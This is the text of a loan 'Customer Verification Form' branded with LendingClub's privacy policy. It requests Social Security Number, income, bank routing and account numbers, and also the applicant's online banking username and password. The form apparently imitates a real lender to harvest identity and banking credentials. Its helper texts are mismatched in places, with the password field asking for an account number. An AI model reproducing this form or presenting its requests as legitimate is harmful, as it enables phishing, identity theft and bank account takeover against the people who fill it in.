Customer Verification Form

Personal Details

What’s your name?

First Name *

Middle Name *

Last Name *

Birth Date

Email Id *

Phone number *

What’s your home address?

Address Line 1 *

Address Line 2 *

City *

State *

Zip Code *

We want to make sure we’re looking for the right member.

Social Security Number

Sharing your SSN helps us verify your identity and protect you against potential fraud.

How much do you make in a month?

Sharing your SSN helps us verify your identity and protect you against potential fraud.

Any additional income?

This helps us understand your income more fully.

Loan Details

Whats your approval code?

Please enter your valid approval code.

How much do you need?

Please enter the amount of loan.

What's the money for?

How will you rate credit score?

Bank Details

What's your bank name?

Your safety is our priority. In fact, we’ve been awarded TRUSTe’s Privacy Seal for data transparency and accountability.

How long have you been with your bank?

We know that your information is personal, so we use bank-level encryption at all times.

What's your ABA/routing number? *

Please enter the routing number provided by your financial institution.

What's your account number? *

Please enter the account number provided by your financial institution.

Mobile/Online Banking Details

Enter your mobile/online banking username *

Please enter the account number provided by your financial institution.

password *

Please enter the account number provided by your financial institution.

IMPORTANT INFORMATION ABOUT PROCEDURES FOR VERIFYING/OPENING A NEW ACCOUNT

* To help the government fight the funding of terrorism and money laundering activities, Federal law requires all financial institutions to obtain, verify, and record information that identifies each person who opens an account.

* What this means for you: When you verify or open an account, we will ask for your name, address, date of birth, and other information that will allow us to identify you. We may also ask to see your driver's license or other identifying documents.

* Your loan APR will depend upon your credit score and other key financing characteristics, including but not limited to the amount financed, loan term length, and your credit usage and history.

* All legal documents and disclosures must be signed by each applicant individually.

I Agree *

Online Privacy Policy This Online Privacy Policy applies to all online and offline interactions with LendingClub Bank, National Association and LendingClub Corporation or any of their subsidiaries, as may be applicable (collectively "LendingClub," "we," "us," "our") as more specifically noted below and our practices relating to the personal information we collect from you. This Online Privacy Policy is effective as of February 1, 2021

Signature Below *